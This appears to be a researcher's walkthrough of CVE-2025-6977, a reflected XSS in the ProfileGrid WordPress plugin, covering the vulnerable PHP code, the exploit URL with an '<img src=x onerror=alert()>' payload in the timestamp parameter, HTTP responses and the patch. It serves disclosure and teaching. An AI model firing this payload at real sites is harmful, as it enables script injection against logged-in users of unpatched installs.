CVE-2025-6977 Walkthrough
CVE-2025-6977 – Reflected XSS in ProfileGrid WordPress Plugin (Unauthenticated) POC
CVE-2025-6977 – Reflected XSS in ProfileGrid WordPress Plugin (Unauthenticated)
CVE ID: CVE-2025-6977
Vulnerability Type: Reflected Cross-Site Scripting (XSS)
Plugin Affected: ProfileGrid – User Profiles, Groups and Communities
Affected Version(s): ≤ 5.9.5.4
CVE Discovered By: Kenneth Billones (Wordfence)
Exploit PoC Author: CANITEY
Description
The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘pm_get_messenger_notification’ function in all versions up to, and including, 5.9.5.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a logged-in user into performing an action such as clicking on a link.
The vulnerable endpoint is: /wp-admin/admin-ajax.php?action=pm_get_messenger_notification×tamp=<vulnerable parameter>&activity=&tid=1
Vulnerable snippet
// public/class-profile-magic-public.php
public function pm_get_messenger_notification() { // (1)
$pmmessenger = new PM_Messenger();
$timestamp = filter_input( INPUT_GET, 'timestamp' );
$activity = filter_input( INPUT_GET, 'activity' );
$tid = filter_input( INPUT_GET, 'tid' );
if($tid!=0)
{
$return = $pmmessenger->pm_get_messenger_notification( $timestamp, $activity, $tid );
echo $return;
}
die;
}
Before diving into the code snippet above, let's first explain the functions involved.
filter_input(<type>, '<variable name>')
this function has 2 main parameters to be passed (we will be introduced to another one shortly),<type>
One of theINPUT_*
constants, in our caseINPUT_GET
this variable means that we will receive data from a get parameter.<variable name>
in our context it means the get parameter name the we will parse the value from.
As shown in the code snippet above.
The function pm_get_messenger_notification
uses the filter_input
function in 2 positions to get the timestamp
value and put it in the corresponding variable. The issue lies in the fact that this implementation the pm_get_messenger_notification
function get the value with no filtering or sanitization and pass them to pm_get_messenger_notification
method of the $pmmessenger
object (that's a different function) and I will explain what is the problem with that via the next code snippet.
// includes/class-profile-magic-messenger.php
// The snippet is more than 33 line so I cut the unneccessary line
public function pm_get_messenger_notification( $timestamp, $activity, $tid ) {
// -- snip --
$result = array(
'activity' => $activity,
'data_changed' => $data2,
'typing_timestamp' => $last_change_in_typing,
'timestamp' => $last_change_in_thread,
'timexxx' =>$timestamp, (2)
'last_ajax' =>$last_ajax_call,
);
$json = wp_json_encode( $result );
return $json;
}
$result =array();
$json = wp_json_encode( $result );
return $json;
}
as shown at (2), the function uses timestamp
directly from the passed parameter and return it as in json response, so by passing an XSS
payload to the endpoint triggering the pm_get_messenger_notification
function at (1) it will pass with no filters to the method pm_get_messenger_notification
and then be displayed in response, and because the Content-Type
is declared as text/html
for the response this would allow the XSS to be executed.
Exploitation
After installing wordpress, with the target version of the plugin, XSS can be triggered via the following endpoing: http://vulnerable.word.press/profilegrid/wp-admin/admin-ajax.php?action=pm_get_messenger_notification×tamp=1753214905&activity=&tid=1
via the timestamp
parameters.
PS: To have the payload reflected to you, you need to have an active session and then visit the URL, other than that the response would be 0
The is the normal response without XSS payload
HTTP/1.1 200 OK
Date: Fri, 25 Jul 2025 17:09:25 GMT
Server: Apache/2.4.58 (Ubuntu)
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 94
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
{"activity":"","data_changed":true,"typing_timestamp":false,"timestamp":1753459470}
And this is the response while passing <img src=x onerror=alert()>
to the timestamp
parameter /wp-admin/admin-ajax.php?action=pm_get_messenger_notification×tamp=%3Cimg%20src=x%20onerror=alert()%3E&activity=ss&tid=4
HTTP/1.1 200 OK
Date: Fri, 25 Jul 2025 17:11:58 GMT
Server: Apache/2.4.58 (Ubuntu)
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 133
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
{"activity":null,"data_changed":false,"typing_timestamp":false,"timestamp":1753459470,"timexxx":"<img src=x onerror=alert()>","last_ajax":0}
Patch Analysis
The vulnerability was patched in version 5.9.5.5 of the plugin. The developers addressed the issue by sanitizing the timestamp
parameter using:
$timestamp = filter_input( INPUT_GET, 'timestamp', FILTER_VALIDATE_INT );
An additional preventive measure — which was not implemented — would have been to explicitly set the response content type to JSON:
header('Content-Type: application/json');
This would instruct the browser to treat the response as pure JSON, thereby blocking script execution, even if malicious content slipped through. While the input sanitization fix neutralizes the attack, setting the correct Content-Type
as application/json
would further harden the response against XSS.
References
Last updated